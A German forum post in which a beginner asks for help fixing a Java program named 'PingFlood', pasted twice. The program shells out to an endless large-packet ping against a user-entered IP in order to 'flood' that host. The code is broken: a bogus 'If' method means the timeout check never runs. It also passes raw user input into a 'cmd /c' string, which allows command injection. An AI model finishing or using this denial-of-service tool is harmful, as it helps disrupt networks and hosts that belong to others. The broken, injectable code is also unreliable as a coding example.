Und zwar kann man es ja dem Programm Namen entnehmen was es machen soll, es ist mein erstes Programm besteht aus viel Copy & Paste und viel rumgeteste, so aber jetzt komme ich nicht weiter. Ich will das wenn aus der CMD "Zeitüberschreitung der Anforderung." kommt, das der Prozess bzw. das Programm beendet wird, das Pingen funktioniert schon mit der IP-Eingabe nur das automatische beenden bekomme ich komischer Weise nicht hin, ich freue mich natürlich wenn ihr den Fehler findet und verbessert aber ich möchte nach der Verbesserung gerne noch mein Prog. erkennen.
Gruß R4PTUR3
package Main;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import javax.swing.JOptionPane;
public class PingFlood {
/**
* @param args
* @throws IOException
*/
public static void main(String[] args) throws IOException {
// String für die Zeitüberschreitungsabfrage
String Zeit = "Zeit?berschreitung der Anforderung.";
String text =""; // Lesepuffer
// Stream zum Einlesen der Prozeßausgabe
BufferedReader in;
PrintWriter out = new PrintWriter(System.out);
try {
// Prozeß anlegen
// String für die IP
String x = JOptionPane.showInputDialog("Bitte geben sie eine IP ein");
// Prozess-Name und das Exec-Kommando
Process Ping = Runtime.getRuntime().exec("cmd /c ping" + " " + x + " " + "-t" + " " + "-l" + " " + "65000");
System.out.println("Die IP Adresse" + " " + x + " " + "wird geflooded" );
// Eingabestream holen
in = new BufferedReader(
new InputStreamReader(Ping.getInputStream()));
// Alle Zeichen aus dem Stream auslesen und
// auf der Standardausgabe ausgeben
while ((text = in.readLine()) != null) {
out.println(text); out.flush();
If (text.equals(Zeit));
{Ping.destroy(); }
}
}
catch (IOException e) {
e.printStackTrace();
}
}
private static void If(boolean equals) {
// TODO Auto-generated method stub
}
}
Gruß R4PTUR3
package Main;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import javax.swing.JOptionPane;
public class PingFlood {
/**
* @param args
* @throws IOException
*/
public static void main(String[] args) throws IOException {
// String für die Zeitüberschreitungsabfrage
String Zeit = "Zeit?berschreitung der Anforderung.";
String text =""; // Lesepuffer
// Stream zum Einlesen der Prozeßausgabe
BufferedReader in;
PrintWriter out = new PrintWriter(System.out);
try {
// Prozeß anlegen
// String für die IP
String x = JOptionPane.showInputDialog("Bitte geben sie eine IP ein");
// Prozess-Name und das Exec-Kommando
Process Ping = Runtime.getRuntime().exec("cmd /c ping" + " " + x + " " + "-t" + " " + "-l" + " " + "65000");
System.out.println("Die IP Adresse" + " " + x + " " + "wird geflooded" );
// Eingabestream holen
in = new BufferedReader(
new InputStreamReader(Ping.getInputStream()));
// Alle Zeichen aus dem Stream auslesen und
// auf der Standardausgabe ausgeben
while ((text = in.readLine()) != null) {
out.println(text); out.flush();
If (text.equals(Zeit));
{Ping.destroy(); }
}
}
catch (IOException e) {
e.printStackTrace();
}
}
private static void If(boolean equals) {
// TODO Auto-generated method stub
}
}